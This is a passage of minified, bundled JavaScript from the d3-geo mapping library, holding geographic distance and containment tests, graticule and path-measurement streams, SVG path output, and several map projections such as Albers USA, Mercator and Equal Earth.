w(nr,Sr){nr*=a.uR,Sr*=a.uR;var Dr=(0,a.O$)(Sr),Ir=(0,a.mC)(Sr),Xr=(0,a.Wn)(nr-y),an=(0,a.mC)(Xr),tn=(0,a.O$)(Xr),gn=Ir*tn,En=b*Dr-c*Ir*an,Hn=c*Dr+b*Ir*an;s.add((0,a.fv)((0,a._b)(gn*gn+En*En),Hn)),y=nr,c=Dr,b=Ir}function E(nr){return s.reset(),(0,u.Z)(nr,h),+s}var p=[null,null],A={type:"LineString",coordinates:p};function m(nr,Sr){return p[0]=nr,p[1]=Sr,E(A)}var n={Feature:function(nr,Sr){return x(nr.geometry,Sr)},FeatureCollection:function(nr,Sr){for(var Dr=nr.features,Ir=-1,Xr=Dr.length;++Ir<Xr;)if(x(Dr[Ir].geometry,Sr))return!0;return!1}},C={Sphere:function(){return!0},Point:function(nr,Sr){return I(nr.coordinates,Sr)},MultiPoint:function(nr,Sr){for(var Dr=nr.coordinates,Ir=-1,Xr=Dr.length;++Ir<Xr;)if(I(Dr[Ir],Sr))return!0;return!1},LineString:function(nr,Sr){return k(nr.coordinates,Sr)},MultiLineString:function(nr,Sr){for(var Dr=nr.coordinates,Ir=-1,Xr=Dr.length;++Ir<Xr;)if(k(Dr[Ir],Sr))return!0;return!1},Polygon:function(nr,Sr){return B(nr.coordinates,Sr)},MultiPolygon:function(nr,Sr){for(var Dr=nr.coordinates,Ir=-1,Xr=Dr.length;++Ir<Xr;)if(B(Dr[Ir],Sr))return!0;return!1},GeometryCollection:function(nr,Sr){for(var Dr=nr.geometries,Ir=-1,Xr=Dr.length;++Ir<Xr;)if(x(Dr[Ir],Sr))return!0;return!1}};function x(nr,Sr){return nr&&C.hasOwnProperty(nr.type)?C[nr.type](nr,Sr):!1}function I(nr,Sr){return m(nr,Sr)===0}function k(nr,Sr){for(var Dr,Ir,Xr,an=0,tn=nr.length;an<tn;an++){if(Ir=m(nr[an],Sr),Ir===0||an>0&&(Xr=m(nr[an],nr[an-1]),Xr>0&&Dr<=Xr&&Ir<=Xr&&(Dr+Ir-Xr)*(1-Math.pow((Dr-Ir)/Xr,2))<a.aW*Xr))return!0;Dr=Ir}return!1}function B(nr,Sr){return!!(0,r.Z)(nr.map(_),F(Sr))}function _(nr){return nr=nr.map(F),nr.pop(),nr}function F(nr){return[nr[0]*a.uR,nr[1]*a.uR]}function O(nr,Sr){return(nr&&n.hasOwnProperty(nr.type)?n[nr.type]:x)(nr,Sr)}var z=e(33064);function N(nr,Sr,Dr){var Ir=(0,z.w6)(nr,Sr-a.Ho,Dr).concat(Sr);return function(Xr){return Ir.map(function(an){return[Xr,an]})}}function G(nr,Sr,Dr){var Ir=(0,z.w6)(nr,Sr-a.Ho,Dr).concat(Sr);return function(Xr){return Ir.map(function(an){return[an,Xr]})}}function J(){var nr,Sr,Dr,Ir,Xr,an,tn,gn,En=10,Hn=En,Xn=90,qn=360,Wn,ea,mr,qr,Qr=2.5;function un(){return{type:"MultiLineString",coordinates:kn()}}function kn(){return(0,z.w6)((0,a.mD)(Ir/Xn)*Xn,Dr,Xn).map(mr).concat((0,z.w6)((0,a.mD)(gn/qn)*qn,tn,qn).map(qr)).concat((0,z.w6)((0,a.mD)(Sr/En)*En,nr,En).filter(function(bn){return(0,a.Wn)(bn%Xn)>a.Ho}).map(Wn)).concat((0,z.w6)((0,a.mD)(an/Hn)*Hn,Xr,Hn).filter(function(bn){return(0,a.Wn)(bn%qn)>a.Ho}).map(ea))}return un.lines=function(){return kn().map(function(bn){return{type:"LineString",coordinates:bn}})},un.outline=function(){return{type:"Polygon",coordinates:[mr(Ir).concat(qr(tn).slice(1),mr(Dr).reverse().slice(1),qr(gn).reverse().slice(1))]}},un.extent=function(bn){return arguments.length?un.extentMajor(bn).extentMinor(bn):un.extentMinor()},un.extentMajor=function(bn){return arguments.length?(Ir=+bn[0][0],Dr=+bn[1][0],gn=+bn[0][1],tn=+bn[1][1],Ir>Dr&&(bn=Ir,Ir=Dr,Dr=bn),gn>tn&&(bn=gn,gn=tn,tn=bn),un.precision(Qr)):[[Ir,gn],[Dr,tn]]},un.extentMinor=function(bn){return arguments.length?(Sr=+bn[0][0],nr=+bn[1][0],an=+bn[0][1],Xr=+bn[1][1],Sr>nr&&(bn=Sr,Sr=nr,nr=bn),an>Xr&&(bn=an,an=Xr,Xr=bn),un.precision(Qr)):[[Sr,an],[nr,Xr]]},un.step=function(bn){return arguments.length?un.stepMajor(bn).stepMinor(bn):un.stepMinor()},un.stepMajor=function(bn){return arguments.length?(Xn=+bn[0],qn=+bn[1],un):[Xn,qn]},un.stepMinor=function(bn){return arguments.length?(En=+bn[0],Hn=+bn[1],un):[En,Hn]},un.precision=function(bn){return arguments.length?(Qr=+bn,Wn=N(an,Xr,90),ea=G(Sr,nr,Qr),mr=N(gn,tn,90),qr=G(Ir,Dr,Qr),un):Qr},un.extentMajor([[-180,-90+a.Ho],[180,90-a.Ho]]).extentMinor([[-180,-80-a.Ho],[180,80+a.Ho]])}function q(){return J()()}var ne=e(83074),fe=e(8593),X=(0,f.Z)(),W=(0,f.Z)(),V,Y,Q,ie,j={point:l.Z,lineStart:l.Z,lineEnd:l.Z,polygonStart:function(){j.lineStart=K,j.lineEnd=le},polygonEnd:function(){j.lineStart=j.lineEnd=j.point=l.Z,X.add((0,a.Wn)(W)),W.reset()},result:function(){var nr=X/2;return X.reset(),nr}};function K(){j.point=oe}function oe(nr,Sr){j.point=re,V=Q=nr,Y=ie=Sr}function re(nr,Sr){W.add(ie*nr-Q*Sr),Q=nr,ie=Sr}function le(){re(V,Y)}var pe=j,we=e(3559),xe=0,ke=0,_e=0,be=0,ge=0,Te=0,Fe=0,Oe=0,Ce=0,Be,$e,Xe,Ze,Ke={point:st,lineStart:lt,lineEnd:bt,polygonStart:function(){Ke.lineStart=Ot,Ke.lineEnd=Ge},polygonEnd:function(){Ke.point=st,Ke.lineStart=lt,Ke.lineEnd=bt},result:function(){var nr=Ce?[Fe/Ce,Oe/Ce]:Te?[be/Te,ge/Te]:_e?[xe/_e,ke/_e]:[NaN,NaN];return xe=ke=_e=be=ge=Te=Fe=Oe=Ce=0,nr}};function st(nr,Sr){xe+=nr,ke+=Sr,++_e}function lt(){Ke.point=ut}function ut(nr,Sr){Ke.point=yt,st(Xe=nr,Ze=Sr)}function yt(nr,Sr){var Dr=nr-Xe,Ir=Sr-Ze,Xr=(0,a._b)(Dr*Dr+Ir*Ir);be+=Xr*(Xe+nr)/2,ge+=Xr*(Ze+Sr)/2,Te+=Xr,st(Xe=nr,Ze=Sr)}function bt(){Ke.point=st}function Ot(){Ke.point=Le}function Ge(){Pe(Be,$e)}function Le(nr,Sr){Ke.point=Pe,st(Be=Xe=nr,$e=Ze=Sr)}function Pe(nr,Sr){var Dr=nr-Xe,Ir=Sr-Ze,Xr=(0,a._b)(Dr*Dr+Ir*Ir);be+=Xr*(Xe+nr)/2,ge+=Xr*(Ze+Sr)/2,Te+=Xr,Xr=Ze*nr-Xe*Sr,Fe+=Xr*(Xe+nr),Oe+=Xr*(Ze+Sr),Ce+=Xr*3,st(Xe=nr,Ze=Sr)}var De=Ke;function Ee(nr){this._context=nr}Ee.prototype={_radius:4.5,pointRadius:function(nr){return this._radius=nr,this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){this._line===0&&this._context.closePath(),this._point=NaN},point:function(nr,Sr){switch(this._point){case 0:{this._context.moveTo(nr,Sr),this._point=1;break}case 1:{this._context.lineTo(nr,Sr);break}default:{this._context.moveTo(nr+this._radius,Sr),this._context.arc(nr,Sr,this._radius,0,a.BZ);break}}},result:l.Z};var ye=(0,f.Z)(),ae,de,Me,Ie,Qe,et={point:l.Z,lineStart:function(){et.point=pt},lineEnd:function(){ae&&St(de,Me),et.point=l.Z},polygonStart:function(){ae=!0},polygonEnd:function(){ae=null},result:function(){var nr=+ye;return ye.reset(),nr}};function pt(nr,Sr){et.point=St,de=Ie=nr,Me=Qe=Sr}function St(nr,Sr){Ie-=nr,Qe-=Sr,ye.add((0,a._b)(Ie*Ie+Qe*Qe)),Ie=nr,Qe=Sr}var _t=et;function Ft(){this._string=[]}Ft.prototype={_radius:4.5,_circle:Tt(4.5),pointRadius:function(nr){return(nr=+nr)!==this._radius&&(this._radius=nr,this._circle=null),this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){this._line===0&&this._string.push("Z"),this._point=NaN},point:function(nr,Sr){switch(this._point){case 0:{this._string.push("M",nr,",",Sr),this._point=1;break}case 1:{this._string.push("L",nr,",",Sr);break}default:{this._circle==null&&(this._circle=Tt(this._radius)),this._string.push("M",nr,",",Sr,this._circle);break}}},result:function(){if(this._string.length){var nr=this._string.join("");return this._string=[],nr}else return null}};function Tt(nr){return"m0,"+nr+"a"+nr+","+nr+" 0 1,1 0,"+-2*nr+"a"+nr+","+nr+" 0 1,1 0,"+2*nr+"z"}function Gt(nr,Sr){var Dr=4.5,Ir,Xr;function an(tn){return tn&&(typeof Dr=="function"&&Xr.pointRadius(+Dr.apply(this,arguments)),(0,u.Z)(tn,Ir(Xr))),Xr.result()}return an.area=function(tn){return(0,u.Z)(tn,Ir(pe)),pe.result()},an.measure=function(tn){return(0,u.Z)(tn,Ir(_t)),_t.result()},an.bounds=function(tn){return(0,u.Z)(tn,Ir(we.Z)),we.Z.result()},an.centroid=function(tn){return(0,u.Z)(tn,Ir(De)),De.result()},an.projection=function(tn){return arguments.length?(Ir=tn==null?(nr=null,fe.Z):(nr=tn).stream,an):nr},an.context=function(tn){return arguments.length?(Xr=tn==null?(Sr=null,new Ft):new Ee(Sr=tn),typeof Dr!="function"&&Xr.pointRadius(Dr),an):Sr},an.pointRadius=function(tn){return arguments.length?(Dr=typeof tn=="function"?tn:(Xr.pointRadius(+tn),+tn),an):Dr},an.projection(nr).context(Sr)}var er=e(15002);function Pr(nr){var Sr=0,Dr=a.pi/3,Ir=(0,er.r)(nr),Xr=Ir(Sr,Dr);return Xr.parallels=function(an){return arguments.length?Ir(Sr=an[0]*a.uR,Dr=an[1]*a.uR):[Sr*a.RW,Dr*a.RW]},Xr}function ct(nr){var Sr=(0,a.mC)(nr);function Dr(Ir,Xr){return[Ir*Sr,(0,a.O$)(Xr)/Sr]}return Dr.invert=function(Ir,Xr){return[Ir/Sr,(0,a.ZR)(Xr*Sr)]},Dr}function Vt(nr,Sr){var Dr=(0,a.O$)(nr),Ir=(Dr+(0,a.O$)(Sr))/2;if((0,a.Wn)(Ir)<a.Ho)return ct(nr);var Xr=1+Dr*(2*Ir-Dr),an=(0,a._b)(Xr)/Ir;function tn(gn,En){var Hn=(0,a._b)(Xr-2*Ir*(0,a.O$)(En))/Ir;return[Hn*(0,a.O$)(gn*=Ir),an-Hn*(0,a.mC)(gn)]}return tn.invert=function(gn,En){var Hn=an-En,Xn=(0,a.fv)(gn,(0,a.Wn)(Hn))*(0,a.Xx)(Hn);return Hn*Ir<0&&(Xn-=a.pi*(0,a.Xx)(gn)*(0,a.Xx)(Hn)),[Xn/Ir,(0,a.ZR)((Xr-(gn*gn+Hn*Hn)*Ir*Ir)/(2*Ir))]},tn}function Ut(){return Pr(Vt).scale(155.424).center([0,33.6442])}function dr(){return Ut().parallels([29.5,45.5]).scale(1070).translate([480,250]).rotate([96,0]).center([-.6,38.7])}var sr=e(47589);function nt(nr){var Sr=nr.length;return{point:function(Dr,Ir){for(var Xr=-1;++Xr<Sr;)nr[Xr].point(Dr,Ir)},sphere:function(){for(var Dr=-1;++Dr<Sr;)nr[Dr].sphere()},lineStart:function(){for(var Dr=-1;++Dr<Sr;)nr[Dr].lineStart()},lineEnd:function(){for(var Dr=-1;++Dr<Sr;)nr[Dr].lineEnd()},polygonStart:function(){for(var Dr=-1;++Dr<Sr;)nr[Dr].polygonStart()},polygonEnd:function(){for(var Dr=-1;++Dr<Sr;)nr[Dr].polygonEnd()}}}function rt(){var nr,Sr,Dr=dr(),Ir,Xr=Ut().rotate([154,0]).center([-2,58.5]).parallels([55,65]),an,tn=Ut().rotate([157,0]).center([-3,19.9]).parallels([8,18]),gn,En,Hn={point:function(Wn,ea){En=[Wn,ea]}};function Xn(Wn){var ea=Wn[0],mr=Wn[1];return En=null,Ir.point(ea,mr),En||(an.point(ea,mr),En)||(gn.point(ea,mr),En)}Xn.invert=function(Wn){var ea=Dr.scale(),mr=Dr.translate(),qr=(Wn[0]-mr[0])/ea,Qr=(Wn[1]-mr[1])/ea;return(Qr>=.12&&Qr<.234&&qr>=-.425&&qr<-.214?Xr:Qr>=.166&&Qr<.234&&qr>=-.214&&qr<-.115?tn:Dr).invert(Wn)},Xn.stream=function(Wn){return nr&&Sr===Wn?nr:nr=nt([Dr.stream(Sr=Wn),Xr.stream(Wn),tn.stream(Wn)])},Xn.precision=function(Wn){return arguments.length?(Dr.precision(Wn),Xr.precision(Wn),tn.precision(Wn),qn()):Dr.precision()},Xn.scale=function(Wn){return arguments.length?(Dr.scale(Wn),Xr.scale(Wn*.35),tn.scale(Wn),Xn.translate(Dr.translate())):Dr.scale()},Xn.translate=function(Wn){if(!arguments.length)return Dr.translate();var ea=Dr.scale(),mr=+Wn[0],qr=+Wn[1];return Ir=Dr.translate(Wn).clipExtent([[mr-.455*ea,qr-.238*ea],[mr+.455*ea,qr+.238*ea]]).stream(Hn),an=Xr.translate([mr-.307*ea,qr+.201*ea]).clipExtent([[mr-.425*ea+a.Ho,qr+.12*ea+a.Ho],[mr-.214*ea-a.Ho,qr+.234*ea-a.Ho]]).stream(Hn),gn=tn.translate([mr-.205*ea,qr+.212*ea]).clipExtent([[mr-.214*ea+a.Ho,qr+.166*ea+a.Ho],[mr-.115*ea-a.Ho,qr+.234*ea-a.Ho]]).stream(Hn),qn()},Xn.fitExtent=function(Wn,ea){return(0,sr.qg)(Xn,Wn,ea)},Xn.fitSize=function(Wn,ea){return(0,sr.mF)(Xn,Wn,ea)},Xn.fitWidth=function(Wn,ea){return(0,sr.V6)(Xn,Wn,ea)},Xn.fitHeight=function(Wn,ea){return(0,sr.rf)(Xn,Wn,ea)};function qn(){return nr=Sr=null,Xn}return Xn.scale(1070)}var vt=e(12956),gt=e(17889),wt=e(49386);function mt(nr,Sr){return[nr,(0,a.cM)((0,a.OR)((a.ou+Sr)/2))]}mt.invert=function(nr,Sr){return[nr,2*(0,a.z4)((0,a.Qq)(Sr))-a.ou]};function Pt(){return zt(mt).scale(961/a.BZ)}function zt(nr){var Sr=(0,er.Z)(nr),Dr=Sr.center,Ir=Sr.scale,Xr=Sr.translate,an=Sr.clipExtent,tn=null,gn,En,Hn;Sr.scale=function(qn){return arguments.length?(Ir(qn),Xn()):Ir()},Sr.translate=function(qn){return arguments.length?(Xr(qn),Xn()):Xr()},Sr.center=function(qn){return arguments.length?(Dr(qn),Xn()):Dr()},Sr.clipExtent=function(qn){return arguments.length?(qn==null?tn=gn=En=Hn=null:(tn=+qn[0][0],gn=+qn[0][1],En=+qn[1][0],Hn=+qn[1][1]),Xn()):tn==null?null:[[tn,gn],[En,Hn]]};function Xn(){var qn=a.pi*Ir(),Wn=Sr((0,wt.Z)(Sr.rotate()).invert([0,0]));return an(tn==null?[[Wn[0]-qn,Wn[1]-qn],[Wn[0]+qn,Wn[1]+qn]]:nr===mt?[[Math.max(Wn[0]-qn,tn),gn],[Math.min(Wn[0]+qn,En),Hn]]:[[tn,Math.max(Wn[1]-qn,gn)],[En,Math.min(Wn[1]+qn,Hn)]])}return Xn()}function Xt(nr){return(0,a.OR)((a.ou+nr)/2)}function Yt(nr,Sr){var Dr=(0,a.mC)(nr),Ir=nr===Sr?(0,a.O$)(nr):(0,a.cM)(Dr/(0,a.mC)(Sr))/(0,a.cM)(Xt(Sr)/Xt(nr)),Xr=Dr*(0,a.sQ)(Xt(nr),Ir)/Ir;if(!Ir)return mt;function an(tn,gn){Xr>0?gn<-a.ou+a.Ho&&(gn=-a.ou+a.Ho):gn>a.ou-a.Ho&&(gn=a.ou-a.Ho);var En=Xr/(0,a.sQ)(Xt(gn),Ir);return[En*(0,a.O$)(Ir*tn),Xr-En*(0,a.mC)(Ir*tn)]}return an.invert=function(tn,gn){var En=Xr-gn,Hn=(0,a.Xx)(Ir)*(0,a._b)(tn*tn+En*En),Xn=(0,a.fv)(tn,(0,a.Wn)(En))*(0,a.Xx)(En);return En*Ir<0&&(Xn-=a.pi*(0,a.Xx)(tn)*(0,a.Xx)(En)),[Xn/Ir,2*(0,a.z4)((0,a.sQ)(Xr/Hn,1/Ir))-a.ou]},an}function $t(){return Pr(Yt).scale(109.5).parallels([30,30])}var yr=e(97492);function Ue(nr,Sr){var Dr=(0,a.mC)(nr),Ir=nr===Sr?(0,a.O$)(nr):(Dr-(0,a.mC)(Sr))/(Sr-nr),Xr=Dr/Ir+nr;if((0,a.Wn)(Ir)<a.Ho)return yr.k;function an(tn,gn){var En=Xr-gn,Hn=Ir*tn;return[En*(0,a.O$)(Hn),Xr-En*(0,a.mC)(Hn)]}return an.invert=function(tn,gn){var En=Xr-gn,Hn=(0,a.fv)(tn,(0,a.Wn)(En))*(0,a.Xx)(En);return En*Ir<0&&(Hn-=a.pi*(0,a.Xx)(tn)*(0,a.Xx)(En)),[Hn/Ir,Xr-(0,a.Xx)(Ir)*(0,a._b)(tn*tn+En*En)]},an}function Ne(){return Pr(Ue).scale(131.154).center([0,13.9389])}var Et=1.340264,Lt=-.081106,Nt=893e-6,rr=.003796,tr=(0,a._b)(3)/2,Jt=12;function It(nr,Sr){var Dr=(0,a.ZR)(tr*(0,a.O$)(Sr)),Ir=Dr*Dr,Xr=Ir*Ir*Ir;return[nr*(0,a.mC)(Dr)/(tr*(Et+3*Lt*Ir+Xr*(7*Nt+9*rr*Ir))),Dr*(Et+Lt*Ir+Xr*(Nt+rr*Ir))]}It.invert=function(nr,Sr){for(var Dr=Sr,Ir=Dr*Dr,Xr=Ir*Ir*Ir,an=0,tn,gn,En;an<Jt&&(gn=Dr*(Et+Lt*Ir+Xr*(Nt+rr*Ir))-Sr,En=Et+3*Lt*Ir+Xr*(7*Nt+9*rr*Ir),Dr-=tn=gn/En,Ir=Dr*Dr,Xr=Ir*Ir*Ir,!((0,a.Wn)(tn)<a.aW));++an);return[tr*nr*(Et+3*Lt*Ir+Xr*(7*Nt+9*rr*Ir))/(0,a.mC)(Dr),(0,a.ZR)((0,a.O$)(Dr)/tr)]};function or(){return(0,er.Z)(It).scale(177.158)}var ur=e(98936),fr=e(64684);function lr(){var nr=1,Sr=0,Dr=0,Ir=1,Xr=1,an=0,tn,gn,En=null,Hn,Xn,qn,Wn=1,ea=1,mr=(0,fr.l)({point:function(wn,zn){var Jn=bn([wn,zn]);this.stream.point(Jn[0],Jn[1])}}),qr=fe.Z,Qr,un;function kn(){return Wn=nr*Ir,ea=nr*Xr,Qr=un=null,bn}function bn(wn){var zn=wn[0]*Wn,Jn=wn[1]*ea;if(an){var ba=Jn*tn-zn*gn;zn=zn*tn+Jn*gn,Jn=ba}return[zn+Sr,Jn+Dr]}return bn.invert=function(wn){var zn=wn[0]-Sr,Jn=wn[1]-Dr;if(an){var ba=Jn*tn+zn*gn;zn=zn*tn-Jn*gn,Jn=ba}return[zn/Wn,Jn/ea]},bn.stream=function(wn){return Qr&&un===wn?Qr:Qr=mr(qr(un=wn))},bn.postclip=function(wn){return arguments.length?(qr=wn,En=Hn=Xn=qn=null,kn()):qr},bn.clipExtent=function(wn){return arguments.length?(qr=wn==null?(En=Hn=Xn=qn=null,fe.Z):(0,g.Z)(En=+wn[0][0],Hn=+wn[0][1],Xn=+wn[1][0],qn=+wn[1][1]),kn()):En==null?null:[[En,Hn],[Xn,qn]]},bn.scale=function(wn){return arguments.length?(nr=+wn,kn()):nr},bn.translate=function(wn){return arguments.length?(Sr=+wn[0],Dr=+wn[1],kn()):[Sr,Dr]},bn.angle=function(wn){return arguments.length?(an=wn%360*a.uR,gn=(0,a.O$)(an),tn=(0,a.mC)(an),kn()):an*a.RW},bn.reflectX=function(wn){return arguments.length?(Ir=wn?-1:1,kn()):Ir<0},bn.reflectY=function(wn){return arguments.length?(Xr=wn?-1:1,kn()):Xr<0},bn.fitExtent=function(wn,zn){return(0,sr.qg)(bn,wn,zn)},bn.fitSize=function(wn,zn){return(0,sr.mF)(bn,wn,zn)},bn.fitWidth=function(wn,zn){return(0,sr.V6)(bn,wn,zn)},bn.fitHeight=function(wn,zn){return(0,sr.rf)(bn,wn,zn)},bn}var Nr=e(26867),Rr=e(57962),Cr=e(25382);function vn(nr,Sr){var Dr=(0,a.mC)(Sr),Ir=1+(0,a.mC)(nr)*Dr;return[Dr*(0,a.O$)(nr)/Ir,(0,a.O$)(Sr)/Ir]}vn.invert=(0,Cr.O)(function(nr){return 2*(0,a.z4)(nr)});function Ur(){return(0,er.Z)(vn).scale(250).clipAngle(142)}function Mn(nr,Sr){return[(0,a.cM)((0,a.OR)((a.ou+Sr)/2)),-nr]}Mn.invert=function(nr,Sr){return[-Sr,2*(0,a.z4)((0,a.Qq)(nr))-a.ou]};function Sn(){var nr=zt(Mn),Sr=nr.center,Dr=nr.rotate;return nr.center=function(Ir){return arguments.length?Sr([-Ir[1],Ir[0]]):(Ir=Sr(),[Ir[1],-Ir[0]])},nr.rotate=function(Ir){return arguments.length?Dr([Ir[0],Ir[1],Ir.length>2?Ir[2]+90:90]):(Ir=Dr(),[Ir[0],Ir[1],Ir[2]-90])},Dr([0,0,90]).scale(159.155)}},83074:function(te,Z,e){e.d(Z,{Z:function(){return P}});var M=e(39695);function P(o,L){var S=o[0]*M.uR,d=o[1]*M.uR,g=L[0]*M.uR,t=L[1]*M.uR,r=(0,M.mC)(d),f=(0,M.O$)(d),a=(0,M.mC)(t),l=(0,M.O$)(t),u=r*(0,M.mC)(S),s=r*(0,M.O$)(S),y=a*(0,M.mC)(g),c=a*(0,M.O$)(g),b=2*(0,M.ZR)((0,M._b)((0,M.Jy)(t-d)+r*a*(0,M.Jy)(g-S))),h=(0,M.O$)(b),i=b?function(v){var T=(0,M.O$)(v*=b)/h,w=(0,M.O$)(b-v)/h,E=w*u+T*y,p=w*s+T*c,A=w*f+T*l;return[(0,M.fv)(p,E)*M.RW,(0,M.fv)(A,(0,M._b)(E*E+p*p))*M.RW]}:function(){return[S*M.RW,d*M.RW]};return i.distance=b,i}},39695:function(te,Z,e){e.d(Z,{BZ:function(){return d},Ho:function(){return M},Jy:function(){return E},Kh:function(){return T},O$:function(){return b},OR:function(){return v},Qq:function(){return s},RW:function(){return g},Wn:function(){return r},Xx:function(){return h},ZR:function(){return w},_b:function(){return i},aW:function(){return P},cM:function(){return y},fv:function(){return a},mC:function(){return l},mD:function(){return u},ou:function(){return L},pi:function(){return o},pu:function(){return S},sQ:function(){return c},uR:function(){return t},z4:function(){return f}});var M=1e-6,P=1e-12,o=Math.PI,L=o/2,S=o/4,d=o*2,g=180/o,t=o/180,r=Math.abs,f=Math.atan,a=Math.atan2,l=Math.cos,u=Math.ceil,s=Math.exp,y=Math.log,c=Math.pow,b=Math.sin,h=Math.sign||function(p){return p>0?1:p<0?-1:0},i=Math.sqrt,v=Math.tan;function T(p){return p>1?0:p<-1?o:Math.acos(p)}function w(p){return p>1?L:p<-1?-L:Math.asin(p)}function E(p){return(p=b(p/2))*p}},73182:function(te,Z,e){e.d(Z,{Z:function(){return M}});function M(){}},3559:function(te,Z,e){var M=e(73182),P=1/0,o=P,L=-P,S=L,d={point:g,lineStart:M.Z,lineEnd:M.Z,polygonStart:M.Z,polygonEnd:M.Z,result:function(){var t=[[P,o],[L,S]];return L=S=-(o=P=1/0),t}};function g(t,r){t<P&&(P=t),t>L&&(L=t),r<o&&(o=r),r>S&&(S=r)}Z.Z=d},67108:function(te,Z,e){e.d(Z,{Z:function(){return P}});var M=e(39695);function P(o,L){return(0,M.Wn)(o[0]-L[0])<M.Ho&&(0,M.Wn)(o[1]-L[1])<M.Ho}},23071:function(te,Z,e){e.d(Z,{Z:function(){return d}});var M=e(33940),P=e(7620),o=e(39695),L=(0,M.Z)();function S(g){return(0,o.Wn)(g[0])<=o.pi?g[0]:(0,o.Xx)(g[0])*(((0,o.Wn)(g[0])+o.pi)%o.BZ-o.pi)}function d(g,t){var r=S(t),f=t[1],a=(0,o.O$)(f),l=[(0,o.O$)(r),-(0,o.mC)(r),0],u=0,s=0;L.reset(),a===1?f=o.ou+o.Ho:a===-1&&(f=-o.ou-o.Ho);for(var y=0,c=g.length;y<c;++y)if(h=(b=g[y]).length)for(var b,h,i=b[h-1],v=S(i),T=i[1]/2+o.pu,w=(0,o.O$)(T),E=(0,o.mC)(T),p=0;p<h;++p,v=m,w=C,E=x,i=A){var A=b[p],m=S(A),n=A[1]/2+o.pu,C=(0,o.O$)(n),x=(0,o.mC)(n),I=m-v,k=I>=0?1:-1,B=k*I,_=B>o.pi,F=w*C;if(L.add((0,o.fv)(F*k*(0,o.O$)(B),E*x+F*(0,o.mC)(B))),u+=_?I+k*o.BZ:I,_^v>=r^m>=r){var O=(0,P.T5)((0,P.Og)(i),(0,P.Og)(A));(0,P.iJ)(O);var z=(0,P.T5)(l,O);(0,P.iJ)(z);var N=(_^I>=0?-1:1)*(0,o.ZR)(z[2]);(f>N||f===N&&(O[0]||O[1]))&&(s+=_^I>=0?1:-1)}}return(u<-o.Ho||u<o.Ho&&L<-o.Ho)^s&1}},25382:function(te,Z,e){e.d(Z,{O:function(){return o},W:function(){return P}});var M=e(39695);function P(L){return function(S,d){var g=(0,M.mC)(S),t=(0,M.mC)(d),r=L(g*t);return[r*t*(0,M.O$)(S),r*(0,M.O$)(d)]}}function o(L){return function(S,d){var g=(0,M._b)(S*S+d*d),t=L(g),r=(0,M.O$)(t),f=(0,M.mC)(t);return[(0,M.fv)(S*r,g*f),(0,M.ZR)(g&&d*r/g)]}}},12956:function(te,Z,e){e.d(Z,{Z:function(){return S},l:function(){return L}});var M=e(39695),P=e(25382),o=e(15002),L=(0,P.W)(function(d){return(0,M._b)(2/(1+d))});L.invert=(0,P.O)(function(d){return 2*(0,M.ZR)(d/2)});function S(){return(0,o.Z)(L).scale(124.75).clipAngle(179.999)}},17889:function(te,Z,e){e.d(Z,{N:function(){return L},Z:function(){return S}});var M=e(39695),P=e(25382),o=e(15002),L=(0,P.W)(function(d){return(d=(0,M.Kh)(d))&&d/(0,M.O$)(d)});L.invert=(0,P.O)(function(d){return d});function S(){return(0,o.Z)(L).scale(79.4188).clipAngle(179.999)}},97492:function(te,Z,e){e.d(Z,{Z:function(){return o},k:function(){return P}});var M=e(15002);function P(L,S){return[L,S]}P.invert=P;function o(){return(0,M.Z)(P).scale(152.63)}},47589:function(te,Z,e){e.d(Z,{V6:function(){return d},mF:function(){return S},qg:function(){return L},rf:function(){return g}});var M=e(72736),P=e(3559);function o(t,r,f){var a=t.clipExtent&&t.clipExtent();return t.scale(150).translate([0,0]),a!=null&&t.clipExtent(null),(0,M.Z)(f,t.stream(P.Z)),r(P.Z.result()),a!=null&&t.clipExtent(a),t}function L(t,r,f){return o(t,function(a){var l=r[1][0]-r[0][0],u=r[1][1]-r[0][1],s=Math.min(l/(a[1][0]-a[0][0]),u/(a[1][1]-a[0][1])),y=+r[0][0]+(l-s*(a[1][0]+a[0][0]))/2,c=+r[0][1]+(u-s*(a[1][1]+a[0][1]))/2;t.scale(150*s).translate([y,c])},f)}function S(t,r,f){return L(t,[[0,0],r],f)}function d(t,r,f){return o(t,function(a){var l=+r,u=l/(a[1][0]-a[0][0]),s=(l-u*(a[1][0]+a[0][0]))/2,y=-u*a[0][1];t.scale(150*u).translate([s,y])},f)}function g(t,r,f){return o(t,function(a){var l=+r,u=l/(a[1][1]-a[0][1]),s=-u*a[0][0],y=(l-u*(a[1][1]+a[0][1]))/2;t.scale(150*u).translate([s,y])},f)}},98936:function(te,Z,e){e.d(Z,{M:function(){return L},Z:function(){return S}});var M=e(39695),P=e(25382),o=e(15002);function L(d,g){var t=(0,M.mC)(g),r=(0,M.mC)(d)*t;return[t*(0,M.O$)(d)/r,(0,M.O$)(g)/r]}L.invert=(0,P.O)(M.z4);function S(){return(0,o.Z)(L).scale(144.049).clipAngle(60)}},15002:function(te,Z,e){e.d(Z,{Z:function(){return v},r:function(){return T}});var M=e(87070),P=e(1457),o=e(87605),L=e(96059),S=e(8593),d=e(39695),g=e(49386),t=e(64684),r=e(47589),f=e(7620),a=16,l=(0,d.mC)(30*d.uR);function u(w,E){return+E?y(w,E):s(w)}function s(w){return(0,t.l)({point:function(E,p){E=w(E,p),this.stream.point(E[0],E[1])}})}function y(w,E){function p(A,m,n,C,x,I,k,B,_,F,O,z,N,G){var J=k-A,q=B-m,ne=J*J+q*q;if(ne>4*E&&N--){var fe=C+F,X=x+O,W=I+z,V=(0,d._b)(fe*fe+X*X+W*W),Y=(0,d.ZR)(W/=V),Q=(0,d.Wn)((0,d.Wn)(W)-1)<d.Ho||(0,d.Wn)(n-_)<d.Ho?(n+_)/2:(0,d.fv)(X,fe),ie=w(Q,Y),j=ie[0],K=ie[1],oe=j-A,re=K-m,le=q*oe-J*re;(le*le/ne>E||(0,d.Wn)((J*oe+q*re)/ne-.5)>.3||C*F+x*O+I*z<l)&&(p(A,m,n,C,x,I,j,K,Q,fe/=V,X/=V,W,N,G),G.point(j,K),p(j,K,Q,fe,X,W,k,B,_,F,O,z,N,G))}}return function(A){var m,n,C,x,I,k,B,_,F,O,z,N,G={point:J,lineStart:q,lineEnd:fe,polygonStart:function(){A.polygonStart(),G.lineStart=X},polygonEnd:function(){A.polygonEnd(),G.lineStart=q}};function J(Y,Q){Y=w(Y,Q),A.point(Y[0],Y[1])}function 